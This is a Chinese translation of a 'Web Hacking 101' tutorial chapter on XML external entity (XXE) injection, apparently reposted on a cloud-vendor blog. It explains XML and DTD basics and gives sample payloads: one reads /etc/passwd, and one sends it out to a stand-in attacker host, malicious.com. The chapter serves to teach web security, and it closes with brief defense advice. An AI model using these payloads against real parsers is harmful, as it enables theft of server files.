Web Hacking 101 中文版 十四、XML 外部实体注入(一)

本文涉及的产品
云解析 DNS,旗舰版 1个月
全局流量管理 GTM,标准版 1个月
公共DNS(含HTTPDNS解析),每月1000万次HTTP解析
简介: 十四、XML 外部实体注入 作者:Peter Yaworski 译者:飞龙 协议:CC BY-NC-SA 4.0XML 外部实体(XXE)漏洞涉及利用应用解析 XML 输入的方式,更具体来说,应用程序处理输入中外部实体的包含方式。

十四、XML 外部实体注入

作者:Peter Yaworski

译者:飞龙

协议:CC BY-NC-SA 4.0

XML 外部实体(XXE)漏洞涉及利用应用解析 XML 输入的方式,更具体来说,应用程序处理输入中外部实体的包含方式。为了完全理解理解如何利用,以及他的潜力。我觉得我们最好首先理解什么是 XML 和外部实体。

元语言是用于描述其它语言的语言,这就是 XML。它在 HTML 之后开发,来弥补 HTML 的不足。HTML 用于定义数据的展示,专注于它应该是什么样子。房子,XML 用于定义数据如何被组织。

例如,HTML 中,你的标签为<title>, <h1>, <table>, <p>,以及其它。这些东西都用于定义内容如何展示。<title>用于定义页面的标题,<h1>标签定义了标题,<table>标签按行和列展示数据,并且<p>表示为简单文本。反之,XML 没有预定义的标签。创建 XML 文档的人可以定义它们自己的标签,来描述展示的内容。这里是一个示例。

<?xml version="1.0" encoding="UTF-8"?> 
<jobs> 
    <job> 
        <title>Hacker</title> 
        <compensation>1000000</compensation> 
        <responsibility optional="1">Shot the web</responsibility> 
    </job> 
</jobs>

读完了之后,你可以大致猜测出 XML 文档的目的 – 为了展示职位列表,但是如果它在 Web 页面上展示,你不知道它看起来是什么样。XML 的第一行是一个声明头部,表示 XML 的版本,以及编码类型。在编写此文的时候,XML 有两个版本,1.0 和 1.1。它们的具体区别超出了本书范围,因为它们在你渗透的时候没什么影响。

在初始的头部之后,标签<jobs>位于所有其它<job>标签的外面。<job>又包含<title><compensation><responsibilities>标签。现在如果是 HTML,一些标签并不需要(但最好有)闭合标签(例如<br>),但是所有 XML 标签都需要闭合标签。同样,选取上面的例子,<jobs>是个起始标签,</jobs>是对应的闭合标签。此外,每个标签都有名称,并且可以拥有属性。使用标签<job>,标签名称就是job,但是没有属性。另一方面,<responsibility>拥有名称responsibility,并拥有属性optional,由属性名称optional和值1组成。

由于任何人可以定义任何标签,问题就来了,如果标签可以是任何东西,任何一个人如何知道如何解析和使用 XML 文档?好吧,一个有效的 XML 文档之所以有效,是因为它遵循了 XML 的通用规则(我不需要列出它们,但是拥有闭合标签是一个前面提过的例子),并且它匹配了它的文档类型定义(DTD)。DTD 是我们继续深入的全部原因,因为它是允许我们作为黑客利用它的一个东西。

XML DTD 就像是所使用的标签的定义文档,并且由 XML 设计者或作者开发。使用上面的例子,我就是设计者,因为我在 XML 中定义了职位文档。DTD 定义了存在什么标签,它们拥有什么属性,以及其它元素里面有什么元素,以及其他。当你或者我创建自己的 DTD 时,一些已经格式化了,并且广泛用于 RSS、RDF、HL7 SGML/XML。以及其它。

下面是 DTD 文件的样子,它用于我的 XML。

<!ELEMENT Jobs (Job)*> 
<!ELEMENT Job (Title, Compensation, Responsiblity)> 
<!ELEMENT Title (#PCDATA)> 
<!ELEMENT Compenstaion (#PCDATA)> 
<!ELEMENT Responsibility(#PCDATA)> 
<!ATTLIST Responsibility optional CDATA "0">

看一看这个,你可能猜到了它大部分是啥意思。我们的jobs标签实际上是 XML !ELEMENT,并且可以包含job元素。job是个!ELEMENT,可以包含标题、薪资和职责,这些也都是!ELEMENT,并且只能包含字符数据(#PCDATA)。最后,!ELEMENT responsibility拥有一个可选属性(!ATTLIST),默认值为 0。

并不是很难吧?除了 DTD,还有两种还未讨论的重要标签,!DOCTYPE!ENTITY。到现在为止,我只说了 DTD 文件是我们 XML 的扩展。要记住上面的第一个例子,XML 文档并不包含标签定义,它由我们第二个例子的 DTD 来完成。但是,我们可以将 DTD 包含在 XML 文档内,并且这样做之后, XML 的第一行必须是<!DOCTYPE>元素。将我们的两个例子组合起来,我们就会得到这样的文档:

<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE Jobs [ 
<!ELEMENT Job (Title, Compensation, Responsiblity)> 
<!ELEMENT Title (#PCDATA)> <!ELEMENT Compenstaion (#PCDATA)> 
<!ELEMENT Responsibility(#PCDATA)> 
<!ATTLIST Responsibility optional CDATA "0"> 
]> 
<jobs> 
    <job> 
        <title>Hacker</title> 
        <compensation>1000000</compensation> 
        <responsibility optional="1">Shot the web</responsibility> 
    </job> 
</jobs>

这里,我们拥有了内部 DTD 声明。要注意我们仍然使用一个声明头部开始,表示我们的文档遵循 XML 1.0 和 UTF8 编码。但是之后,我们为 XML 定义了要遵循的DOCTYPE。使用外部 DTD 是类似的,除了!DOCTYPE<!DOCTYPE note SYSTEM "jobs.dtd">。XML 解析器在解析 XML 文件时,之后会解析jobs.dtd的内容。这非常重要,因为!ENTITY标签被近似处理,并且是我们利用的关键。

XML 实体像是一个信息的占位符。再次使用我们之前的例子。,如果我们想让每个职位都包含到我们网站的链接,每次都编写地址简直太麻烦了,尤其是 URL 可能改变的时候。反之,我们可以使用!ENTITY,并且让解析器在解析时获取内容,并插入到文档中。你可以看看我们在哪里这样做。

与外部 DTD 文档类似,我们可以更新我们的 XML 文档来包含这个想法:

<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE Jobs [ 
<!ELEMENT Job (Title, Compensation, Responsiblity, Website)> 
<!ELEMENT Title (#PCDATA)> <!ELEMENT Compenstaion (#PCDATA)> 
<!ELEMENT Responsibility(#PCDATA)> 
<!ATTLIST Responsibility optional CDATA "0"> 
<!ELEMENT Website ANY> 
<!ENTITY url SYSTEM "website.txt"> 
]> 

<jobs>
    <job> 
        <title>Hacker</title> 
        <compensation>1000000</compensation> 
        <responsibility optional="1">Shot the web</responsibility> 
        <website>&url;</website> 
    </job> 
</jobs>

这里你会注意到,我继续并添加了Website!ELEMENT,但是不是#PCDATA,而是ANY。这意味着Website可以包含任何可解析的数据组合。我也定义了一个!ENTITY,带有SYSTEM属性,告诉解析器获取wensite.txt文件的数据。现在一切都清楚了。

将它们放到一起,如果我包含了/etc/passwd,而不是website.txt,你觉得会发生什么?你可能户菜刀,我们的 XML 会被解析,并且服务器敏感文件/etc/passwd的内容会包含进我们的内容。但是我们是 XML 的作者,所以为什么要这么做呢?

好吧。当受害者的应用可以滥用,在 XML 的解析中包含这种外部实体时,XXE 攻击就发生了。换句话说,应用有一些 XML 预期,但是在接收时却不验证它。所以,只是解析他所得到的东西。例如,假设我正在运行一个职位公告板,并允许你注册并通过 XML 上传职位。开发我的应用时,我可能使我的 DTD 文件可以被你访问,并且假设你提交了符合需求的文件。我没有意识到它的危险,决定天真地解析收到的内容,并没有任何验证。但是作为一个黑客,你决定提交:

<?xml version="1.0" encoding="ISO-8859-1"?> 
<!DOCTYPE foo [ 
<!ELEMENT foo ANY > 
<!ENTITY xxe SYSTEM "file:///etc/passwd" > 
]> 
<foo>&xxe;</foo>

就像你现在了解的那样,当这个文件被解析时,我的解析器会收到它,并且看到内部 DTD 定义了foo文档类型,告诉它foo可以包含任何可解析的数据,并且有个!ENTITY xxe,它应该读取我的/etc/passwd文件(file://的用法表示/etc/passwd的完整的文件 URL 路径),并会将&xxe;替换为这个文件的内容。之后你以定义<foo>标签的有效 XML 结束了它,这会打印出我的服务器数据。这就是 XXE 危险的原因。

但是等一下,还有更多的东西。如果应用不打印出回应,而是仅仅解析你的内容会怎么样?使用上面的例子,内容会解析但是永远不会反回给我们。好吧,如果我们不包含本地文件,而是打算和恶意服务器通信会怎么样?像是这样:

<?xml version="1.0" encoding="ISO-8859-1"?> 
<!DOCTYPE foo [ 
<!ELEMENT foo ANY > 
<!ENTITY % xxe SYSTEM "file:///etc/passwd" > 
<!ENTITY callhome SYSTEM "www.malicious.com/?%xxe;"> 
]> 
<foo>&callhome;</foo>

在解释它之前,你可能已经注意到我在callhome URL 中使用了%来代替&%xxe。这是因为%用于实体在 DTD 定义内部被求值的情况,而&用于实体在 XML 文档中被求值的情况。现在,当 XML 文档被解析,callhome !ENTITY会读取/etc/passwd的内容,并远程调用http://www.malicous.com,将文件内容作为 URL 参数来发送,因为我们控制了该服务器,我们可以检查我们的日志,并且足够确保拥有了/etc/passwd的内容。Web 应用的游戏就结束了。

所以,站点如何防范 XXE 漏洞?它们可以禁止解析任何外部实体。

链接

查看 OWASP 外部实体(XXE)解析

XXE 速查表

相关文章
|
25天前
|
缓存 移动开发 安全
Web安全-HTTP响应拆分(CRLF注入)漏洞
Web安全-HTTP响应拆分(CRLF注入)漏洞
64 1
|
3月前
|
XML JSON 前端开发
【Web前端揭秘】XML与JSON:数据界的双雄对决,你的选择将如何改写Web世界的未来?
【8月更文挑战第26天】本文深入探讨了XML和JSON这两种广泛使用的数据交换格式在Web前端开发中的应用。XML采用自定义标签描述数据结构,适用于复杂层次数据的表示,而JSON则以键值对形式呈现数据,更为轻量且易解析。通过对两种格式的示例代码、结构特点及应用场景的分析,本文旨在帮助读者更好地理解它们的差异,并根据实际需求选择最合适的数据交换格式。
57 1
|
2月前
|
缓存 移动开发 安全
Web安全-HTTP响应拆分(CRLF注入)漏洞
Web安全-HTTP响应拆分(CRLF注入)漏洞
109 8
|
2月前
|
安全 关系型数据库 Shell
Web安全-浅析CSV注入漏洞的原理及利用
Web安全-浅析CSV注入漏洞的原理及利用
89 3
|
21天前
|
Java 应用服务中间件 Spring
【终极解决方案】Could not open ServletContext resource [/WEB-INF/dispatcher-servlet.xml]
【终极解决方案】Could not open ServletContext resource [/WEB-INF/dispatcher-servlet.xml]
20 0
|
27天前
|
XML 安全 网络协议
Xxe外部实体注入(XML External Entity Injection)
Xxe外部实体注入(XML External Entity Injection)
|
2月前
|
XML JSON 安全
Web安全-代码注入
Web安全-代码注入
21 6
|
3月前
|
Java Spring 容器
彻底改变你的编程人生!揭秘 Spring 框架依赖注入的神奇魔力,让你的代码瞬间焕然一新!
【8月更文挑战第31天】本文介绍 Spring 框架中的依赖注入(DI),一种降低代码耦合度的设计模式。通过 Spring 的 DI 容器,开发者可专注业务逻辑而非依赖管理。文中详细解释了 DI 的基本概念及其实现方式,如构造器注入、字段注入与 setter 方法注入,并提供示例说明如何在实际项目中应用这些技术。通过 Spring 的 @Configuration 和 @Bean 注解,可轻松定义与管理应用中的组件及其依赖关系,实现更简洁、易维护的代码结构。
49 0
|
4月前
|
SQL 安全 数据库
深度揭秘:Python Web安全攻防战,SQL注入、XSS、CSRF一网打尽!
【7月更文挑战第27天】在 Web 开发中,Python 面临着如 SQL 注入、XSS 和 CSRF 等安全威胁。
66 0
|
4月前
|
SQL 安全 数据库
Python Web开发者必看!SQL注入、XSS、CSRF全面解析,守护你的网站安全!
【7月更文挑战第27天】在 Python Web 开发中, 安全至关重要。
59 0